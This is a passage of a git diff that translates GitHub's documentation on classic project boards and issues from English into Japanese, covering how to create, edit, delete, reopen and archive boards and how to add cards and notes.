 {% data reusables.project-management.choose-template %}
@@ -52,7 +52,7 @@ You can also configure workflow automations to keep your project board in sync w
 
 {% data reusables.project-management.edit-project-columns %}
 
-## Creating an organization-wide project board
+## Organization 全体のプロジェクトボードの作成
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
@@ -72,11 +72,10 @@ You can also configure workflow automations to keep your project board in sync w
 
 {% data reusables.project-management.edit-project-columns %}
 
-## Creating a repository project board
+## リポジトリのプロジェクトボードの作成
 
 {% data reusables.repositories.navigate-to-repo %}
-2. Under your repository name, click {% octicon "project" aria-label="The project board icon" %} **Projects**.
-![Project tab](/assets/images/help/projects/repo-tabs-projects.png)
+2. リポジトリ名の下にある {% octicon "project" aria-label="The project board icon" %}[**Projects**] をクリックします。 ![プロジェクトタブ](/assets/images/help/projects/repo-tabs-projects.png)
 {% data reusables.project-management.click-new-project %}
 {% data reusables.project-management.create-project-name-description %}
 {% data reusables.project-management.choose-template %}
@@ -90,10 +89,11 @@ You can also configure workflow automations to keep your project board in sync w
 
 {% data reusables.project-management.edit-project-columns %}
 
-## Further reading
+## 参考リンク
 
-- "[About projects boards](/articles/about-project-boards)"
-- "[Editing a project board](/articles/editing-a-project-board)"{% ifversion fpt or ghec %}
-- "[Copying a project board](/articles/copying-a-project-board)"{% endif %}
-- "[Closing a project board](/articles/closing-a-project-board)"
-- "[About automation for project boards](/articles/about-automation-for-project-boards)"
+- "[プロジェクトボードについて](/articles/about-project-boards)"
+- [プロジェクトボードの編集](/articles/editing-a-project-board){% ifversion fpt or ghec %}
+- [プロジェクトボードのコピー](/articles/copying-a-project-board)
+{% endif %}
+- "[プロジェクトボードをクローズする](/articles/closing-a-project-board)"
+- [プロジェクトボードの自動化について](/articles/about-automation-for-project-boards)
diff --git a/translations/ja-JP/content/issues/organizing-your-work-with-project-boards/managing-project-boards/deleting-a-project-board.md b/translations/ja-JP/content/issues/organizing-your-work-with-project-boards/managing-project-boards/deleting-a-project-board.md
index 1c13437734..73fed8fddb 100644
--- a/translations/ja-JP/content/issues/organizing-your-work-with-project-boards/managing-project-boards/deleting-a-project-board.md
+++ b/translations/ja-JP/content/issues/organizing-your-work-with-project-boards/managing-project-boards/deleting-a-project-board.md
@@ -1,6 +1,6 @@
 ---
-title: Deleting a project board
-intro: You can delete an existing project board if you no longer need access to its contents.
+title: プロジェクトボードの削除
+intro: 既存のプロジェクトボードのコンテンツにアクセスする必要がない場合、削除することができます。
 redirect_from:
   - /github/managing-your-work-on-github/managing-project-boards/deleting-a-project-board
   - /articles/deleting-a-project
@@ -14,23 +14,23 @@ versions:
 topics:
   - Pull requests
 ---
+
 {% data reusables.projects.project_boards_old %}
 
 {% tip %}
 
-**Tip**: If you'd like to retain access to a completed or unneeded project board without losing access to its contents, you can [close the project board](/articles/closing-a-project-board) instead of deleting it.
+**参考**: 完了したあるいは不要なプロジェクトボードへのアクセスを維持し、そのコンテンツへのアクセスも失いたくない場合、削除する代わりに[プロジェクトボードを閉じる](/articles/closing-a-project-board)ことができます。
 
 {% endtip %}
 
-1. Navigate to the project board you want to delete.
+1. 削除対象のプロジェクトボードに移動します。
 {% data reusables.project-management.click-menu %}
 {% data reusables.project-management.click-edit-sidebar-menu-project-board %}
-4. Click **Delete project**.
-![Delete project button](/assets/images/help/projects/delete-project-button.png)
-5. To confirm that you want to delete the project board, click **OK**.
+4. [**Delete project**] をクリックします。 ![[Delete project] ボタン](/assets/images/help/projects/delete-project-button.png)
+5. プロジェクトボードの削除を確定するには [**OK**] をクリックします。
 
-## Further reading
+## 参考リンク
 
-- "[Closing a project board](/articles/closing-a-project-board)"
-- "[Disabling project boards in a repository](/articles/disabling-project-boards-in-a-repository)"
-- "[Disabling project boards in your organization](/articles/disabling-project-boards-in-your-organization)"
+- "[プロジェクトボードをクローズする](/articles/closing-a-project-board)"
+- [リポジトリ内のプロジェクトボードを無効化](/articles/disabling-project-boards-in-a-repository)
+- "[Organization 内のプロジェクトボードの無効化](/articles/disabling-project-boards-in-your-organization)"
diff --git a/translations/ja-JP/content/issues/organizing-your-work-with-project-boards/managing-project-boards/editing-a-project-board.md b/translations/ja-JP/content/issues/organizing-your-work-with-project-boards/managing-project-boards/editing-a-project-board.md
index e80b1eec6e..144eb58020 100644
--- a/translations/ja-JP/content/issues/organizing-your-work-with-project-boards/managing-project-boards/editing-a-project-board.md
+++ b/translations/ja-JP/content/issues/organizing-your-work-with-project-boards/managing-project-boards/editing-a-project-board.md
@@ -1,6 +1,6 @@
 ---
-title: Editing a project board
-intro: You can edit the title and description of an existing project board.
+title: プロジェクトボードの編集
+intro: 既存のプロジェクトボードのタイトルと説明を編集できます。
 redirect_from:
   - /github/managing-your-work-on-github/managing-project-boards/editing-a-project-board
   - /articles/editing-a-project
@@ -15,22 +15,22 @@ versions:
 topics:
   - Pull requests
 ---
+
 {% data reusables.projects.project_boards_old %}
 
 {% tip %}
 
-**Tip:** For details on adding, removing, or editing columns in your project board, see "[Creating a project board](/articles/creating-a-project-board)."
+**ヒント:** プロジェクトボード内での列の追加、削除、編集の詳細については、「[プロジェクトボードの作成](/articles/creating-a-project-board)」を参照してください。
 
 {% endtip %}
 
-1. Navigate to the project board you want to edit.
+1. 編集するプロジェクトボードに移動します。
 {% data reusables.project-management.click-menu %}
-{% data reusables.project-management.click-edit-sidebar-menu-project-board %} 
-4. Modify the project board name and description as needed, then click **Save project**.
-![Fields with the project board name and description, and Save project button](/assets/images/help/projects/edit-project-board-save-button.png)
+{% data reusables.project-management.click-edit-sidebar-menu-project-board %}
+4. プロジェクトボードの名前と説明を必要に応じて修正し、[**Save project**] をクリックします。 ![プロジェクトボードの名前と説明欄に記入し、[Save project] ボタンをクリックします。](/assets/images/help/projects/edit-project-board-save-button.png)
 
-## Further reading
+## 参考リンク
 
-- "[About project boards](/articles/about-project-boards)"
-- "[Adding issues and pull requests to a project board](/articles/adding-issues-and-pull-requests-to-a-project-board)"
-- "[Deleting a project board](/articles/deleting-a-project-board)"
+- [プロジェクトボードについて](/articles/about-project-boards)
+- [プロジェクトボードへの Issue およびプルリクエストの追加](/articles/adding-issues-and-pull-requests-to-a-project-board)
+- [プロジェクトボードの削除](/articles/deleting-a-project-board)
diff --git a/translations/ja-JP/content/issues/organizing-your-work-with-project-boards/managing-project-boards/reopening-a-closed-project-board.md b/translations/ja-JP/content/issues/organizing-your-work-with-project-boards/managing-project-boards/reopening-a-closed-project-board.md
index b290d300bc..732a02e29d 100644
--- a/translations/ja-JP/content/issues/organizing-your-work-with-project-boards/managing-project-boards/reopening-a-closed-project-board.md
+++ b/translations/ja-JP/content/issues/organizing-your-work-with-project-boards/managing-project-boards/reopening-a-closed-project-board.md
@@ -1,5 +1,5 @@
 ---
-title: Reopening a closed project board
+title: クローズされたプロジェクトボードを再びオープンする
 intro: You can reopen a closed project board and restart any workflow automation that was configured for the project board.
 redirect_from:
   - /github/managing-your-work-on-github/managing-project-boards/reopening-a-closed-project-board
@@ -12,22 +12,21 @@ versions:
   ghec: '*'
 topics:
   - Pull requests
-shortTitle: Reopen project board
+shortTitle: プロジェクトボードの再オープン
 ---
+
 {% data reusables.projects.project_boards_old %}
 
-When you close a project board, any workflow automation that was configured for the project board will pause by default. For more information, see "[Closing a project board](/articles/closing-a-project-board)."
+プロジェクトボードをクローズすると、プロジェクトボードに設定されているワークフロー自動化はデフォルトで一時停止されます。 詳しい情報については[プロジェクトボードのクローズ](/articles/closing-a-project-board)を参照してください。
 
-When you reopen a project board, you have the option to *sync* automation, which updates the position of the cards on the board according to the automation settings configured for the board.
+プロジェクトボードを再びオープンする際、自動化を*同期*するオプションがあります。これにより、ボードに設定されている自動化設定に従って、ボード上のカードの位置を更新します。
 
-1. Navigate to the project board you want to reopen.
+1. 再びオープンするプロジェクトボードに移動します。
 {% data reusables.project-management.click-menu %}
-3. Choose whether to sync automation for your project board or reopen your project board without syncing.
-    - To reopen your project board and sync automation, click **Reopen and sync project**.
-  ![Select "Reopen and resync project" button](/assets/images/help/projects/reopen-and-sync-project.png)
-    - To reopen your project board without syncing automation, using the reopen drop-down menu, click **Reopen only**. Then, click **Reopen only**.
-  ![Reopen closed project board drop-down menu](/assets/images/help/projects/reopen-closed-project-board-drop-down-menu.png)
+3. プロジェクトボードの自動化を同期するか、プロジェクトボードを同期なしで再びオープンするかを選択します。
+    - プロジェクトボードを再びオープンして自動化を同期するには、[**Reopen and sync project**] をクリックします。 !["Reopen and resync project" ボタンの選択](/assets/images/help/projects/reopen-and-sync-project.png)
+    - プロジェクトボードを自動化の同期なしで再びオープンするには、再オープンドロップダウンメニューで [**Reopen only**] をクリックします。 続いて、[**Reopen only**] をクリックします。 ![クローズ済みプロジェクトボード再オープンドロップダウンメニュー](/assets/images/help/projects/reopen-closed-project-board-drop-down-menu.png)
 
-## Further reading
+## 参考リンク
 
-- "[Configuring automation for project boards](/articles/configuring-automation-for-project-boards)"
+- 「[プロジェクトボードの自動化を設定する](/articles/configuring-automation-for-project-boards)」
diff --git a/translations/ja-JP/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-issues-and-pull-requests-to-a-project-board.md b/translations/ja-JP/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-issues-and-pull-requests-to-a-project-board.md
index 6c67376231..d7d6334d63 100644
--- a/translations/ja-JP/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-issues-and-pull-requests-to-a-project-board.md
+++ b/translations/ja-JP/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-issues-and-pull-requests-to-a-project-board.md
@@ -1,6 +1,6 @@
 ---
-title: Adding issues and pull requests to a project board
-intro: You can add issues and pull requests to a project board in the form of cards and triage them into columns.
+title: プロジェクトボードへの Issue およびプルリクエストの追加
+intro: Issue やプルリクエストはカードの形でプロジェクトボードに追加し、列にトリアージしていくことができます。
 redirect_from:
   - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-project-boards/adding-issues-and-pull-requests-to-a-project-board
   - /articles/adding-issues-and-pull-requests-to-a-project
@@ -13,67 +13,61 @@ versions:
   ghec: '*'
 topics:
   - Pull requests
-shortTitle: Add issues & PRs to board
+shortTitle: ボードへのIssueとPRの追加
 ---
+
 {% data reusables.projects.project_boards_old %}
 
-You can add issue or pull request cards to your project board by:
-- Dragging cards from the **Triage** section in the sidebar.
-- Typing the issue or pull request URL in a card.
-- Searching for issues or pull requests in the project board search sidebar.
+以下のようにして、プロジェクトボードに Issue またはプルリクエストカードを追加できます:
+- サイドバーの [**Triage**] セクションからカードをドラッグする。
+- Issue またはプルリクエストの URL をカード内に入力する。
+- プロジェクトボードの検索サイドバーで Issue またはプルリクエストを検索する。
 
-You can put a maximum of 2,500 cards into each project column. If a column has reached the maximum number of cards, no cards can be moved into that column.
+各プロジェクト列には最大 2,500 のカードを置くことができます。 列のカード数が最大に達すると、その列にカードを移動させることはできません。
 
-![Cursor moves issue card from triaging sidebar to project board column](/assets/images/help/projects/add-card-from-sidebar.gif)
+![トリアージサイドバーからプロジェクトボードの列へ Issue カードを移動させるカーソル](/assets/images/help/projects/add-card-from-sidebar.gif)
 
 {% note %}
 
-**Note:** You can also add notes to your project board to serve as task reminders, references to issues and pull requests from any repository on {% data variables.product.product_name %}, or to add related information to your project board. For more information, see "[Adding notes to a project board](/articles/adding-notes-to-a-project-board)."
+**注釈:** ノートをタスクのリマインダ、{% data variables.product.product_name %} 上の任意のリポジトリからの Issue やプルリクエストへの参照、プロジェクトボードへの関連情報の追加として働くようにプロジェクトボードに追加することもできます。 詳細は「[プロジェクトボードにノートを追加する](/articles/adding-notes-to-a-project-board)」を参照してください。
 
 {% endnote %}
 
 {% data reusables.project-management.edit-in-project %}
 
-{% data reusables.project-management.link-repos-to-project-board %} When you search for issues and pull requests to add to your project board, the search automatically scopes to your linked repositories. You can remove these qualifiers to search within all organization repositories. For more information, see "[Linking a repository to a project board](/articles/linking-a-repository-to-a-project-board)."
+{% data reusables.project-management.link-repos-to-project-board %}プロジェクトボードに追加するために Issue やプルリクエストを検索する場合、自動的にその検索の対象はリンクされたリポジトリになります。 それらの条件を取り除いて、Organization のすべてのリポジトリを対象に検索することができます。 詳しい情報については、「[リポジトリをプロジェクトボードにリンクする](/articles/linking-a-repository-to-a-project-board)」を参照してください。
 
-## Adding issues and pull requests to a project board
+## プロジェクトボードへの Issue およびプルリクエストの追加
 
-1. Navigate to the project board where you want to add issues and pull requests.
-2. In your project board, click {% octicon "plus" aria-label="The plus icon" %} **Add cards**.
-![Add cards button](/assets/images/help/projects/add-cards-button.png)
-3. Search for issues and pull requests to add to your project board using search qualifiers. For more information on search qualifiers you can use, see "[Searching issues](/articles/searching-issues)."
-  ![Search issues and pull requests](/assets/images/help/issues/issues_search_bar.png)
+1. Issue およびプルリクエストを追加するプロジェクトボードに移動します。
+2. プロジェクトボードで {% octicon "plus" aria-label="The plus icon" %} [**Add cards**] をクリックします。 ![カードの追加ボタン](/assets/images/help/projects/add-cards-button.png)
+3. 検索条件を使って、プロジェクトボードに追加したい Issue と Pull Request を検索してください。 利用できる検索条件に関する詳しい情報については「[Issue を検索する](/articles/searching-issues)」を参照してください。 ![Issue およびプルリクエストを検索](/assets/images/help/issues/issues_search_bar.png)
 
   {% tip %}
 
-  **Tips:**
-    - You can also add an issue or pull request by typing the URL in a card.
-    - If you're working on a specific feature, you can apply a label to each related issue or pull request for that feature, and then easily add cards to your project board by searching for the label name. For more information, see "[Apply labels to issues and pull requests](/articles/applying-labels-to-issues-and-pull-requests)."
+  **参考:**
+    - Issue あるいはプルリクエストの URL をカード内でタイプして、それらを追加することもできます。
+    - 特定の機能について作業をしているなら、その機能に関連する Issue あるいはプルリクエストにラベルを適用して、そのラベル名を検索することでプロジェクトボードに簡単にカードを追加することができます。 詳細は「[Issue およびプルリクエストへのラベルの適用](/articles/applying-labels-to-issues-and-pull-requests)」を参照してください。
 
   {% endtip %}
-4. From the filtered list of issues and pull requests, drag the card you'd like to add to your project board and drop it in the correct column. Alternatively, you can move cards using keyboard shortcuts. {% data reusables.project-management.for-more-info-project-keyboard-shortcuts %}
+4. フィルタリングされた Issue とプルリクエストのリストから、プロジェクトボードに追加したいカードをドラッグして、正しい列にドロップします。 あるいは、キーボードショートカットを使ってカードを移動させることもできます。 {% data reusables.project-management.for-more-info-project-keyboard-shortcuts %}
 
     {% tip %}
 
-    **Tip:** You can drag and drop or use keyboard shortcuts to reorder cards and move them between columns. {% data reusables.project-management.for-more-info-project-keyboard-shortcuts %}
+    **ヒント:** ドラッグアンドドロップやキーボードのショートカットを使用してカードを並び替えたり列間で移動させたりできます。 {% data reusables.project-management.for-more-info-project-keyboard-shortcuts %}
 
     {% endtip %}
 
-## Adding issues and pull requests to a project board from the sidebar
+## サイドバーからのプロジェクトボードへの Issue およびプルリクエストの追加
 
-1. On the right side of an issue or pull request, click **Projects {% octicon "gear" aria-label="The Gear icon" %}**.
-  ![Project board button in sidebar](/assets/images/help/projects/sidebar-project.png)
-2. Click the **Recent**, **Repository**,**User**, or **Organization** tab for the project board you would like to add to.
-  ![Recent, Repository and Organization tabs](/assets/images/help/projects/sidebar-project-tabs.png)
-3. Type the name of the project in **Filter projects** field.
-  ![Project board search box](/assets/images/help/projects/sidebar-search-project.png)
-4. Select one or more project boards where you want to add the issue or pull request.
-  ![Selected project board](/assets/images/help/projects/sidebar-select-project.png)
-5. Click {% octicon "triangle-down" aria-label="The down triangle icon" %}, then click the column where you want your issue or pull request. The card will move to the bottom of the project board column you select.
-  ![Move card to column menu](/assets/images/help/projects/sidebar-select-project-board-column-menu.png)
+1. Issue あるいはプルリクエストの右側で、[**Projects {% octicon "gear" aria-label="The Gear icon" %}**] をクリックします。 ![サイドバーのプロジェクトボードボタン](/assets/images/help/projects/sidebar-project.png)
+2. 追加したいプロジェクトボードの [**Recent**]、[**Repository**]、[**User**]、[**Organization**] タブをクリックします。 ![Recent、Repository、Organization タブ](/assets/images/help/projects/sidebar-project-tabs.png)
+3. [**Filter projects**] フィールドにプロジェクト名を入力します。 ![プロジェクトボードの検索ボックス](/assets/images/help/projects/sidebar-search-project.png)
+4. Issueまたはプルリクエストを追加する1つ以上のプロジェクトボードを選択します。 ![選択されたプロジェクトボード](/assets/images/help/projects/sidebar-select-project.png)
+5. {% octicon "triangle-down" aria-label="The down triangle icon" %} をクリックし、Issueまたはプルリクエストが必要な列をクリックします。 カードが、選択したプロジェクトボードの列の下部に移動します。 ![[Move card to column] メニュー](/assets/images/help/projects/sidebar-select-project-board-column-menu.png)
 
-## Further reading
+## 参考リンク
 
-- "[About project boards](/articles/about-project-boards)"
-- "[Editing a project board](/articles/editing-a-project-board)"
-- "[Filtering cards on a project board](/articles/filtering-cards-on-a-project-board)"
+- [プロジェクトボードについて](/articles/about-project-boards)
+- [プロジェクトボードの編集](/articles/editing-a-project-board)
+- 「[プロジェクトボードでカードをフィルタリングする](/articles/filtering-cards-on-a-project-board)」
diff --git a/translations/ja-JP/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-notes-to-a-project-board.md b/translations/ja-JP/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-notes-to-a-project-board.md
index 2cf815d675..c33fec3fc5 100644
--- a/translations/ja-JP/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-notes-to-a-project-board.md
+++ b/translations/ja-JP/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-notes-to-a-project-board.md
@@ -1,6 +1,6 @@
 ---
-title: Adding notes to a project board
-intro: You can add notes to a project board to serve as task reminders or to add information related to the project board.
+title: プロジェクトボードへのノートの追加
+intro: タスクリマインダーとして働くノートや、プロジェクトボードに関連する情報を追加するためのノートをプロジェクトボードに追加できます。
 redirect_from:
   - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-project-boards/adding-notes-to-a-project-board
   - /articles/adding-notes-to-a-project
@@ -13,72 +13,66 @@ versions:
   ghec: '*'
 topics:
   - Pull requests
-shortTitle: Add notes to board
+shortTitle: ボードへのノートの追加
 ---
+
 {% data reusables.projects.project_boards_old %}
 
 {% tip %}
 
-**Tips:**
-- You can format your note using Markdown syntax. For example, you can use headings, links, task lists, or emoji. For more information, see "[Basic writing and formatting syntax](/articles/basic-writing-and-formatting-syntax)."
-- You can drag and drop or use keyboard shortcuts to reorder notes and move them between columns. {% data reusables.project-management.for-more-info-project-keyboard-shortcuts %}
-- Your project board must have at least one column before you can add notes. For more information, see "[Creating a project board](/articles/creating-a-project-board)."
+**参考:**
+- ノートは、Markdown の構文で書式設定できます。 たとえばヘッディング、リンク、タスクリスト、絵文字を使うことができます。 詳しい情報については[基本的な書き方とフォーマットの構文](/articles/basic-writing-and-formatting-syntax)を参照してください。
+- ドラッグアンドドロップやキーボードのショートカットを使用してノートを並び替えたり列間で移動させたりできます。 {% data reusables.project-management.for-more-info-project-keyboard-shortcuts %}
+- ノートを追加するには、少なくとも 1 つの列がプロジェクトボードになければなりません。 詳しい情報については[プロジェクトボードの作成](/articles/creating-a-project-board)を参照してください。
 
 {% endtip %}
 
-When you add a URL for an issue, pull request, or another project board to a note, you'll see a preview in a summary card below your text.
+Issue、プルリクエスト、あるいは他のプロジェクトボードの URL をノートに追加すると、テキストの下のサマリーカードにプレビューが表示されます。
 
-![Project board cards showing a preview of an issue and another project board](/assets/images/help/projects/note-with-summary-card.png)
+![Issue および他のプロジェクトボードのプレビューを表示しているプロジェクトボードカード](/assets/images/help/projects/note-with-summary-card.png)
 
-## Adding notes to a project board
+## プロジェクトボードへのノートの追加
 
-1. Navigate to the project board where you want to add notes.
-2. In the column you want to add a note to, click {% octicon "plus" aria-label="The plus icon" %}.
-![Plus icon in the column header](/assets/images/help/projects/add-note-button.png)
-3. Type your note, then click **Add**.
-![Field for typing a note and Add card button](/assets/images/help/projects/create-and-add-note-button.png)
+1. ノートを追加したいプロジェクトボードに移動します。
+2. ノートを追加したい列で {% octicon "plus" aria-label="The plus icon" %} をクリックします。 ![列ヘッダ内のプラスアイコン](/assets/images/help/projects/add-note-button.png)
+3. ノートを入力し、[**Add**] をクリックします。 ![ノートの入力フィールドとカードの追加ボタン](/assets/images/help/projects/create-and-add-note-button.png)
 
   {% tip %}
 
-  **Tip:** You can reference an issue or pull request in your note by typing its URL in the card.
+  **ヒント:** ノート内では、Issue やプルリクエストの URL をカード内に入力してそれらを参照できます。
 
   {% endtip %}
 
-## Converting a note to an issue
+## ノートの Issue への変換
 
-If you've created a note and find that it isn't sufficient for your needs, you can convert it to an issue.
+ノートを作成した後に、それでは必要を十分満たせないことが分かった場合、Issue に変換できます。
 
-When you convert a note to an issue, the issue is automatically created using the content from the note. The first line of the note will be the issue title and any additional content from the note will be added to the issue description.
+ノートを Issue に変換した場合、ノートの内容を使って Issue が自動的に作成されます。 ノートの先頭行が Issue のタイトルになり、ノートのそれ以降の内容が Issue の説明に追加されます。
 
 {% tip %}
 
-**Tip:** You can add content in the body of your note to @mention someone, link to another issue or pull request, and add emoji. These {% data variables.product.prodname_dotcom %} Flavored Markdown features aren't supported within project board notes, but once your note is converted to an issue, they'll appear correctly. For more information on using these features, see "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/articles/about-writing-and-formatting-on-github)."
+**ヒント:** ノートの本体には誰かへの @メンション、他の Issue あるいはプルリクエストへのリンクを追加したり、絵文字を追加したりできます。 これらの {% data variables.product.prodname_dotcom %}形式の Markdown の機能はプロジェクトボードのノート内ではサポートされていませんが、ノートが Issue に変換されれば、正しく表示されるようになります。 これらの機能の使い方に関する詳しい情報については[{% data variables.product.prodname_dotcom %}上での書き込みと書式設定について](/articles/about-writing-and-formatting-on-github)を参照してください。
 
 {% endtip %}
 
-1. Navigate to the note that you want to convert to an issue.
+1. Issue に変換したいノートにアクセスしてください。
 {% data reusables.project-management.project-note-more-options %}
-3. Click **Convert to issue**.
-  ![Convert to issue button](/assets/images/help/projects/convert-to-issue.png)
-4. If the card is on an organization-wide project board, in the drop-down menu, choose the repository you want to add the issue to.
-  ![Drop-down menu listing repositories where you can create the issue](/assets/images/help/projects/convert-note-choose-repository.png)
-5. Optionally, edit the pre-filled issue title, and type an issue body.
-  ![Fields for issue title and body](/assets/images/help/projects/convert-note-issue-title-body.png)
-6. Click **Convert to issue**.
-7. The note is automatically converted to an issue. In the project board, the new issue card will be in the same location as the previous note.
+3. [**Convert to issue**] をクリックします。 ![[Convert to issue] ボタン](/assets/images/help/projects/convert-to-issue.png)
+4. カードが Organization 全体のプロジェクトボード上にあるなら、ドロップダウンメニューから Issue を追加したいリポジトリを選択してください。 ![Issue を作成できるリポジトリのリストを示しているドロップダウンメニュー](/assets/images/help/projects/convert-note-choose-repository.png)
+5. 事前に記入された Issue のタイトルを編集することもできます。そして Issue の本文を入力してください。 ![Issue のタイトルと本体のためのフィールド](/assets/images/help/projects/convert-note-issue-title-body.png)
+6. [**Convert to issue**] をクリックします。
+7. ノートは自動的に Issue に変換されます。 プロジェクトボードでは、新しい Issue のカードが以前のノートと同じ場所に置かれます。
 
-## Editing and removing a note
+## ノートの編集と削除
 
-1. Navigate to the note that you want to edit or remove.
+1. 編集あるいは削除したいノートにアクセスします。
 {% data reusables.project-management.project-note-more-options %}
-3. To edit the contents of the note, click **Edit note**.
-  ![Edit note button](/assets/images/help/projects/edit-note.png)
-4. To delete the contents of the notes, click **Delete note**.
-  ![Delete note button](/assets/images/help/projects/delete-note.png)
+3. ノートの内容を編集したい場合には、**[Edit note]** をクリックしてください。 ![ノートの編集ボタン](/assets/images/help/projects/edit-note.png)
+4. ノートの内容を削除するには、[**Delete note**] をクリックします。 ![ノートの削除ボタン](/assets/images/help/projects/delete-note.png)
 
-## Further reading
+## 参考リンク
 
-- "[About project boards](/articles/about-project-boards)"
-- "[Creating a project board](/articles/creating-a-project-board)"
-- "[Editing a project board](/articles/editing-a-project-board)"
-- "[Adding issues and pull requests to a project board](/articles/adding-issues-and-pull-requests-to-a-project-board)"
+- [プロジェクトボードについて](/articles/about-project-boards)
+- [プロジェクトボードの作成](/articles/creating-a-project-board)
+- [プロジェクトボードの編集](/articles/editing-a-project-board)
+- [プロジェクトボードへの Issue およびプルリクエストの追加](/articles/adding-issues-and-pull-requests-to-a-project-board)
diff --git a/translations/ja-JP/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/archiving-cards-on-a-project-board.md b/translations/ja-JP/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/archiving-cards-on-a-project-board.md
index b7d8e6e244..ffcfc22e6f 100644
--- a/translations/ja-JP/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/archiving-cards-on-a-project-board.md
+++ b/translations/ja-JP/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/archiving-cards-on-a-project-board.md
@@ -1,6 +1,6 @@
 ---
-title: Archiving cards on a project board
-intro: You can archive project board cards to declutter your workflow without losing the historical context of a project.
+title: プロジェクトボード上のカードのアーカイブ
+intro: プロジェクトボードのカードをアーカイブすることにより、プロジェクトの過去の経過を失うことなくワークフローを整理できます。
 redirect_from:
   - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-project-boards/archiving-cards-on-a-project-board
   - /articles/archiving-cards-on-a-project-board
@@ -12,23 +12,20 @@ versions:
   ghec: '*'
 topics:
   - Pull requests
-shortTitle: Archive cards on board
+shortTitle: ボード上のカードのアーカイブ
 ---
+
 {% data reusables.projects.project_boards_old %}
 
-Automation in your project board does not apply to archived project board cards. For example, if you close an issue in a project board's archive, the archived card does not automatically move to the "Done" column. When you restore a card from the project board archive, the card will return to the column where it was archived.
+プロジェクトボードの自動化は、アーカイブされたプロジェクトボードのカードには適用されません。 たとえばプロジェクトボードのアーカイブで Issue をクローズしたとしても、アーカイブされたカードは自動的に "Done" 列には移動しません。 プロジェクトボードアーカイブからカードをリストアすると、そのカードはアーカイブされたときに置かれていた列に戻ります。
 
-## Archiving cards on a project board
+## プロジェクトボード上のカードのアーカイブ
 
-1. In a project board, find the card you want to archive, then click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}.
-![List of options for editing a project board card](/assets/images/help/projects/select-archiving-options-project-board-card.png)
-2. Click **Archive**.
-![Select archive option from menu](/assets/images/help/projects/archive-project-board-card.png)
+1. In a project board, find the card you want to archive, then click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}. ![プロジェクトボードカードの編集オプションのリスト](/assets/images/help/projects/select-archiving-options-project-board-card.png)
+2. [**Archive**] をクリックします。 ![メニューからのアーカイブオプションの選択](/assets/images/help/projects/archive-project-board-card.png)
 
-## Restoring cards on a project board from the sidebar
+## サイドバーからのプロジェクトボード上のカードのリストア
 
 {% data reusables.project-management.click-menu %}
-2. Click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **View archive**.
-  ![Select view archive option from menu](/assets/images/help/projects/select-view-archive-option-project-board-card.png)
-3. Above the project board card you want to unarchive, click **Restore**.
-  ![Select restore project board card](/assets/images/help/projects/restore-card.png)
+2. {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} をクリックし、続いて [** View archive**] をクリックします。 ![メニューからのアーカイブの表示オプションの選択](/assets/images/help/projects/select-view-archive-option-project-board-card.png)
+3. アーカイブを解除するプロジェクトボードの上で [**Restore**] をクリックします。 ![プロジェクトボードカードのリストアの選択](/assets/images/help/projects/restore-card.png)
diff --git a/translations/ja-JP/content/issues/tracking-your-work-with-issues/about-issues.md b/translations/ja-JP/content/issues/tracking-your-work-with-issues/about-issues.md
index ebd5ac6cf6..3caebac55b 100644
--- a/translations/ja-JP/content/issues/tracking-your-work-with-issues/about-issues.md
+++ b/translations/ja-JP/content/issues/tracking-your-work-with-issues/about-issues.md
@@ -1,6 +1,6 @@
 ---
-title: About issues
-intro: 'Use {% data variables.product.prodname_github_issues %} to track ideas, feedback, tasks, or bugs for work on {% data variables.product.company_short %}.'
+title: Issueについて
+intro: '{% data variables.product.prodname_github_issues %}を使って、{% data variables.product.company_short %}での作業に関するアイデア、フィードバック、タスク、バグを追跡してください。'
 redirect_from:
   - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/about-issues
   - /articles/creating-issues
@@ -17,38 +17,39 @@ topics:
   - Issues
   - Project management
 ---
-## Integrated with GitHub
 
-Issues let you track your work on {% data variables.product.company_short %}, where development happens. When you mention an issue in another issue or pull request, the issue's timeline reflects the cross-reference so that you can keep track of related work. To indicate that work is in progress, you can link an issue to a pull request. When the pull request merges, the linked issue automatically closes.
+## GitHubとの統合
 
-## Quickly create issues
+Issueを使って、開発が行われる{% data variables.product.company_short %}上での作業を追跡できます。 他のIssueもしくはPull Request内のIssueにメンションすると、そのIssueのタイムラインにはクロスリファレンスが反映され、関連する作業を追跡できるようになります。 作業が進行中であることを示すために、Pull RequestにIssueをリンクできます。 Pull Requestがマージされると、リンクされたIssueは自動的にクローズされます。
 
-Issues can be created in a variety of ways, so you can choose the most convenient method for your workflow. For example, you can create an issue from a repository,{% ifversion fpt or ghec %} an item in a task list,{% endif %} a note in a project, a comment in an issue or pull request, a specific line of code, or a URL query. You can also create an issue from your platform of choice: through the web UI, {% data variables.product.prodname_desktop %}, {% data variables.product.prodname_cli %}, GraphQL and REST APIs, or {% data variables.product.prodname_mobile %}. For more information, see "[Creating an issue](/issues/tracking-your-work-with-issues/creating-issues/creating-an-issue)."
+## 素早いIssueの作成
 
-## Track work
